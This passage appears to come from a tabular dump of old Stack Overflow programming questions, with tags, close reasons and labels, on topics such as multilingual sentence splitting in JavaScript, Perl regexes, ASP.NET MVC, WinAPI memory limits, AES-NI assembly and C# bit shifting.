Break the string on Full Stop for (Chinese, Arabic, Japanese, Russian, Korean, Dutch, Hindi, Greek, Urdu) using javascript. === I am working on languge segmentation project. I applied language segmentation for English by using regular expression breaking the string at . ("Full Stop"). Now i want to provide the support for following languages (Chinese, Arabic, Japanese, Russian, Korean, Dutch, Hindi, Greek, Urdu). I want to break the above mentioned language strings on Full stop. e.g. For Chinese Full stop is 。 (Unicode value U+3002) String 以有效應對各種事態」。他還表示,希望以符合21世紀的方式切實深化美日同盟關係。 Expected Result Segment 1 :- 以有效應對各種事態」。 Segment 2 :- 他還表示,希望以符合21世紀的方式切實深化美日同盟關係。 Same logic I have to apply for other languages (Arabic, Japanese, Russian, Korean, Dutch, Hindi, Greek, Urdu). Thanks in Advanced
0
11,042,730
06/14/2012 23:27:52
734,304
05/02/2011 10:30:56
675
3
Searching words with ANY repeating characters
Looking for an perl one-liner what will find all word with the next pattern: X(not_X_chrs)X(not_X_chrs)X e.g. cyclic For one character, it is easy, e.g. for 'a' perl -nle 'print if /^a[^a]+a[^a]+a$/' < /usr/share/dict/web2 but I want search for **ANY** characeter, so, lookig for one regex for finding **all** words like: azalea #repeating a baobab #repeating b cyclic #c and so on.. tried this: perl -nle 'print if m/^([a-z])[^$1]+$1[^$1]+$1$/i' </usr/share/dict/web2 but not works.
regex
perl
null
null
null
null
open
Searching words with ANY repeating characters === Looking for an perl one-liner what will find all word with the next pattern: X(not_X_chrs)X(not_X_chrs)X e.g. cyclic For one character, it is easy, e.g. for 'a' perl -nle 'print if /^a[^a]+a[^a]+a$/' < /usr/share/dict/web2 but I want search for **ANY** characeter, so, lookig for one regex for finding **all** words like: azalea #repeating a baobab #repeating b cyclic #c and so on.. tried this: perl -nle 'print if m/^([a-z])[^$1]+$1[^$1]+$1$/i' </usr/share/dict/web2 but not works.
0
10,582,160
05/14/2012 11:09:05
966,638
09/27/2011 08:52:12
863
24
Add css class in controller method
In my _Layout.cshtml file I have: <table id="myTable"> <tr><td><ul><li id="id1"><a href="@Url.Action("Index", "Home")">Home</a></li> <li id="id2"><a href="@Url.Action("Index", "About")">About</a></li> <li id="id3"><a href="@Url.Action("Index", "Another")">Another</a></li> </ul></td></tr> </table> The active link (the one in the url in the browser), should have css class "activeLink". How to add the css class to the correct link via code in the controllers (not client-side)? How to catch the correct < li >? Do I need to do this in the Index methods in all of the controllers?
css
asp.net-mvc
null
null
null
null
open
Add css class in controller method === In my _Layout.cshtml file I have: <table id="myTable"> <tr><td><ul><li id="id1"><a href="@Url.Action("Index", "Home")">Home</a></li> <li id="id2"><a href="@Url.Action("Index", "About")">About</a></li> <li id="id3"><a href="@Url.Action("Index", "Another")">Another</a></li> </ul></td></tr> </table> The active link (the one in the url in the browser), should have css class "activeLink". How to add the css class to the correct link via code in the controllers (not client-side)? How to catch the correct < li >? Do I need to do this in the Index methods in all of the controllers?
0
1,505,704
10/01/2009 18:38:46
182,671
10/01/2009 18:07:20
3
0
How to launch proccess with limited memory?
How to create and launch proccess(launch .exe file) with RAM limitation using c++ & WINAPI.Which error code will be returned,if proccess went beyond the limits?
c++
winapi
null
null
null
null
open
How to launch proccess with limited memory? === How to create and launch proccess(launch .exe file) with RAM limitation using c++ & WINAPI.Which error code will be returned,if proccess went beyond the limits?
0
9,848,525
03/24/2012 02:05:42
353,715
05/29/2010 18:57:56
233
0
I have an array that is coming out as null even though it uses the exact same code as an array that's coming out fine
I also can't add things to the array. It works fine for the other array. They both use the exact same code. What could possibly be causing this? I'll post code if need be.
objective-c
ios
cocoa
nsmutablearray
nsarray
03/24/2012 06:15:39
not a real question
I have an array that is coming out as null even though it uses the exact same code as an array that's coming out fine === I also can't add things to the array. It works fine for the other array. They both use the exact same code. What could possibly be causing this? I'll post code if need be.
1
4,609,677
01/05/2011 22:05:08
545,132
12/16/2010 17:55:49
79
4
Implementation of AES in assembly
I am trying to build a code to do demonstrate doing AES encryption in assembly. the latest Intel manual has AESENC xmm1,xmm2/m128 —Perform One Round of an AES Encryption Flow round key from the second source operand, operating on 128-bit data (state) from the first source operand, and store the result in the destination operand. AESENCLAST xmm1, xmm2/m128 —Perform Last Round of an AES Encryption Flow a round key from the second source operand, operating on 128-bit data (state) from the first source operand, and store the result in the destination operand. AESKEYGENASSIST xmm1, xmm2/m128, imm8 Assist in expanding the AES cipher key, by computing steps towards generating a round key for encryption, using 128-bit data specified in the source operand and an 8-bit round constant specified as an immediate, store the result in the destination operand. To do this I will be trying inline assembly, the only way I know, yet my first brainstorm is how to set the xmm using inline assembly I will be building it to compare speeds with normal AES done in C! any help is welcome Cheers=)
c
security
inline-assembly
aes
null
01/07/2011 11:06:36
not a real question
Implementation of AES in assembly === I am trying to build a code to do demonstrate doing AES encryption in assembly. the latest Intel manual has AESENC xmm1,xmm2/m128 —Perform One Round of an AES Encryption Flow round key from the second source operand, operating on 128-bit data (state) from the first source operand, and store the result in the destination operand. AESENCLAST xmm1, xmm2/m128 —Perform Last Round of an AES Encryption Flow a round key from the second source operand, operating on 128-bit data (state) from the first source operand, and store the result in the destination operand. AESKEYGENASSIST xmm1, xmm2/m128, imm8 Assist in expanding the AES cipher key, by computing steps towards generating a round key for encryption, using 128-bit data specified in the source operand and an 8-bit round constant specified as an immediate, store the result in the destination operand. To do this I will be trying inline assembly, the only way I know, yet my first brainstorm is how to set the xmm using inline assembly I will be building it to compare speeds with normal AES done in C! any help is welcome Cheers=)
1
10,138,137
04/13/2012 09:11:08
1,311,939
04/04/2012 04:39:50
1
0
Null reference exception error on VS2010
i got a null reference exception problem on **var stream = Application.GetResourceStream(new Uri("/Vid_VGA_Client_.raw", UriKind.RelativeOrAbsolute)).Stream;** i move my file to a new solution folder named Video. Then when i debug it i got an error with null reference exception.
windows-phone-7
null
null
null
null
04/14/2012 02:23:30
too localized
Null reference exception error on VS2010 === i got a null reference exception problem on **var stream = Application.GetResourceStream(new Uri("/Vid_VGA_Client_.raw", UriKind.RelativeOrAbsolute)).Stream;** i move my file to a new solution folder named Video. Then when i debug it i got an error with null reference exception.
3
1,541,095
10/08/2009 23:27:54
174,719
09/17/2009 02:45:22
26
0
Why doesn't Jquery let me do this
document.getElementById("main").src = '02.jpg'; works but $('#main').src = '02.jpg'; doesn't
javascript
jquery
null
null
null
null
open
Why doesn't Jquery let me do this === document.getElementById("main").src = '02.jpg'; works but $('#main').src = '02.jpg'; doesn't
0
8,208,360
11/21/2011 07:08:01
327,528
04/28/2010 06:13:59
911
2
How do loop through and open *.frm files in VB6?
In VB6, how can I loop through all the `.frm` files in a folder and do something to each of them?
vb6
for-loop
file-processing
null
null
null
open
How do loop through and open *.frm files in VB6? === In VB6, how can I loop through all the `.frm` files in a folder and do something to each of them?
0
8,905,297
01/18/2012 04:44:24
1,142,321
01/11/2012 04:10:41
23
0
Rails Deployment With Rubber- Doesn't Upload Files
I have a question about using Rubber. I successfully used the 'cap rubber:create', 'cap rubber:bootstrap', and 'cap deploy:setup' commands without a hitch. My EC2 server automatically redirects to the 'Welcome to Ruby on Rails' page and doesn't seem to have any of my site actually installed. Upon ssh'ing in, I found out the rake and rails don't seem to be installed. Any advice on how to get Rubber to successfully create everything for the instance? Thanks!
ruby-on-rails
deployment
ruby-on-rails-3.1
amazon-web-services
capistrano
null
open
Rails Deployment With Rubber- Doesn't Upload Files === I have a question about using Rubber. I successfully used the 'cap rubber:create', 'cap rubber:bootstrap', and 'cap deploy:setup' commands without a hitch. My EC2 server automatically redirects to the 'Welcome to Ruby on Rails' page and doesn't seem to have any of my site actually installed. Upon ssh'ing in, I found out the rake and rails don't seem to be installed. Any advice on how to get Rubber to successfully create everything for the instance? Thanks!
0
11,213,626
06/26/2012 18:21:56
428,916
08/23/2010 22:37:56
2,173
144
What are some good persistance libraries for .NET?
I come from a Java background and am getting more into .NET, what are some good libraries to use in my DAO layers? I'm used to using MyBatis (this appears to exist but not in a real full release). I've used Hibernate, which apparently exists in .NET but I'd rather avoid a full POJO style object mapper. I'd really like a library that is query based like MyBatis. Does anyone have some suggestions?
c#
.net
hibernate
ibatis
null
06/27/2012 00:53:35
not constructive
What are some good persistance libraries for .NET? === I come from a Java background and am getting more into .NET, what are some good libraries to use in my DAO layers? I'm used to using MyBatis (this appears to exist but not in a real full release). I've used Hibernate, which apparently exists in .NET but I'd rather avoid a full POJO style object mapper. I'd really like a library that is query based like MyBatis. Does anyone have some suggestions?
4
4,874,867
02/02/2011 13:13:48
217,595
11/24/2009 06:50:17
1,251
54
Learning functional programming with R
I have recently studied functional programming with Haskell and Clojure and found it has also improved my R coding practices. For example I've better grasped the possibilities of usign lists and apply family of functions instead of loops. As a side effect I also discovered that a lot of my problems are parallel (and I can use `mclapply` for significant speed up), but I've been thinking sequentially in terms of loops. I've read quite a bit of R material over the past couple of years and although the benefits of using the apply functions is usually demonstrated, I've found that still most of the examples use loops instead of lapply, mapply etc. Now my question is: Can you recommend me some good R tutorials or books that have special focus on functional programming with R? If such resources exists I'd like to recommend those for my students when learning R.
r
books
functional-programming
tutorials
null
10/04/2011 21:31:55
not constructive
Learning functional programming with R === I have recently studied functional programming with Haskell and Clojure and found it has also improved my R coding practices. For example I've better grasped the possibilities of usign lists and apply family of functions instead of loops. As a side effect I also discovered that a lot of my problems are parallel (and I can use `mclapply` for significant speed up), but I've been thinking sequentially in terms of loops. I've read quite a bit of R material over the past couple of years and although the benefits of using the apply functions is usually demonstrated, I've found that still most of the examples use loops instead of lapply, mapply etc. Now my question is: Can you recommend me some good R tutorials or books that have special focus on functional programming with R? If such resources exists I'd like to recommend those for my students when learning R.
4
8,348,629
12/01/2011 21:36:17
1,005,658
10/20/2011 16:38:12
1
0
How do you prove this pumping lemma example?
I got this question wrong on my test and was wondering if someone could explain it, showing the steps taken to come to the conclusion. Any help would be appreciated. In the PL proof for L_neq = {0^i1^j | i < j} given an m-state DFA, someone picks the string 0^(m/2)1^(m/2+1). They then pick y = 0 and show that by pumping, we can arrive at the string 0^(m/2+1)1^(m/2+1) which is outside L_neq. Is this proof correct? Why or why not? Further, if this proof is wrong, write down a correct proof. Thanks
proof
dfa
pl
pumping-lemma
null
12/02/2011 23:01:47
off topic
How do you prove this pumping lemma example? === I got this question wrong on my test and was wondering if someone could explain it, showing the steps taken to come to the conclusion. Any help would be appreciated. In the PL proof for L_neq = {0^i1^j | i < j} given an m-state DFA, someone picks the string 0^(m/2)1^(m/2+1). They then pick y = 0 and show that by pumping, we can arrive at the string 0^(m/2+1)1^(m/2+1) which is outside L_neq. Is this proof correct? Why or why not? Further, if this proof is wrong, write down a correct proof. Thanks
2
6,719,563
07/16/2011 19:06:30
848,052
07/16/2011 19:06:30
1
0
Compute the angle of a triangle when 3 points are given
i have 3 Points ((x,y), (x', y'), (x'', y'')) and i want to find the angle in the 3 points i also need to get a point when having the angle and 2 other points (but that shouldn't be a problem) if it helps - i am working with c#
c#
windows
2d
angle
triangle
07/17/2011 03:49:48
off topic
Compute the angle of a triangle when 3 points are given === i have 3 Points ((x,y), (x', y'), (x'', y'')) and i want to find the angle in the 3 points i also need to get a point when having the angle and 2 other points (but that shouldn't be a problem) if it helps - i am working with c#
2
6,802,797
07/23/2011 19:32:21
828,584
07/04/2011 18:34:01
115
1
Why can't I just open a file in HEX?
I'm getting pretty pissed at how difficult this is proving to be. I just need to OPEN A FILE IN HEX AND EDIT IT.
php
null
null
null
null
07/25/2011 01:30:44
not a real question
Why can't I just open a file in HEX? === I'm getting pretty pissed at how difficult this is proving to be. I just need to OPEN A FILE IN HEX AND EDIT IT.
1
2,326,724
02/24/2010 14:35:53
183,339
10/02/2009 20:40:36
978
41
C# bit shift: is this behavior in the spec, a bug, or fortuitous?
I was working with bit shift operators (see my question [Bit Array Equality][1]) and a SO user pointed out a bug in my calculation of my shift operand--I was calculating a range of [1,32] instead of [0,31] for an int. (Hurrah for the SO community!) In fixing the problem, I was surprised to find the following behavior: -1 << 32 == -1 In fact, it would seem that `n << s` is compiled (or interpreted by the CLR--I didn't check the IL) as `n << s % bs(n)` where bs(n) = size, in bits, of n. I would have expected: -1 << 32 == 0 It would seem that the compiler is realizing that you are shifting beyond the size of the target and correcting your mistake. This is purely an academic question, but does anyone know if this is defined in the spec (I could not find anything at [7.8 Shift operators][2]), just a fortuitous fact of undefined behavior, or is there a case where this might produce a bug? [1]: http://stackoverflow.com/questions/2320754/bit-array-equality [2]: http://msdn.microsoft.com/en-us/library/aa691377(VS.71).aspx
c#
bit-shift
null
null
null
null
open
C# bit shift: is this behavior in the spec, a bug, or fortuitous? === I was working with bit shift operators (see my question [Bit Array Equality][1]) and a SO user pointed out a bug in my calculation of my shift operand--I was calculating a range of [1,32] instead of [0,31] for an int. (Hurrah for the SO community!) In fixing the problem, I was surprised to find the following behavior: -1 << 32 == -1 In fact, it would seem that `n << s` is compiled (or interpreted by the CLR--I didn't check the IL) as `n << s % bs(n)` where bs(n) = size, in bits, of n. I would have expected: -1 << 32 == 0 It would seem that the compiler is realizing that you are shifting beyond the size of the target and correcting your mistake. This is purely an academic question, but does anyone know if this is defined in the spec (I could not find anything at [7.8 Shift operators][2]), just a fortuitous fact of undefined behavior, or is there a case where this might produce a bug? [1]: http://stackoverflow.com/questions/2320754/bit-array-equality [2]: http://msdn.microsoft.com/en-us/library/aa691377(VS.71).aspx
0
9,135,948
02/03/2012 21:44:51
1,034,022
11/07/2011 15:36:25
36
1
.net 4.0 Routing with QueryStrings
I realize there are a ton of articles and resources out there on this subject, but all seem to only show how to move a querystring like **category=shoes** around the url to a differently place, like this **products/{category}** Well i have the following querystring: **profile.aspx?q=98c2b15f-90c3-4a7f-a33f-0e34b106877e** I was trying to implement a RoutHandler to query the DB to find the users name and create a url like **mydomain.com/usersname** This is what i tried *(everything is hard coded right now till i get it working)*: void Application_Start(object sender, EventArgs e) { RegisterRoute(System.Web.Routing.RouteTable.Routes); } void RegisterRoute(System.Web.Routing.RouteCollection routes) { routes.Add("Profiles", new System.Web.Routing.Route("profile/{profile}", new RouteHandler())); } And this is the handler class: public IHttpHandler GetHttpHandler(RequestContext requestContext) { string username = requestContext.RouteData.Values["profile"] as string; HttpContext.Current.Items["q"] = "98c2b15f-90c3-4a7f-a33f-0e34b106877e"; return BuildManager.CreateInstanceFromVirtualPath("~/pub/profile.aspx", typeof(Page)) as Page; } Profile.aspx actually looks for the "q" querystring. And with the above setup, it does not find it. What am i doing wrong? How do i route or rewrite the url so that it is pretty + keep it so the page can find the querystrings it needs? Any help would be great. Thanks in advance.
c#
.net-4.0
url-rewriting
url-routing
asp.net-webforms
null
open
.net 4.0 Routing with QueryStrings === I realize there are a ton of articles and resources out there on this subject, but all seem to only show how to move a querystring like **category=shoes** around the url to a differently place, like this **products/{category}** Well i have the following querystring: **profile.aspx?q=98c2b15f-90c3-4a7f-a33f-0e34b106877e** I was trying to implement a RoutHandler to query the DB to find the users name and create a url like **mydomain.com/usersname** This is what i tried *(everything is hard coded right now till i get it working)*: void Application_Start(object sender, EventArgs e) { RegisterRoute(System.Web.Routing.RouteTable.Routes); } void RegisterRoute(System.Web.Routing.RouteCollection routes) { routes.Add("Profiles", new System.Web.Routing.Route("profile/{profile}", new RouteHandler())); } And this is the handler class: public IHttpHandler GetHttpHandler(RequestContext requestContext) { string username = requestContext.RouteData.Values["profile"] as string; HttpContext.Current.Items["q"] = "98c2b15f-90c3-4a7f-a33f-0e34b106877e"; return BuildManager.CreateInstanceFromVirtualPath("~/pub/profile.aspx", typeof(Page)) as Page; } Profile.aspx actually looks for the "q" querystring. And with the above setup, it does not find it. What am i doing wrong? How do i route or rewrite the url so that it is pretty + keep it so the page can find the querystrings it needs? Any help would be great. Thanks in advance.
0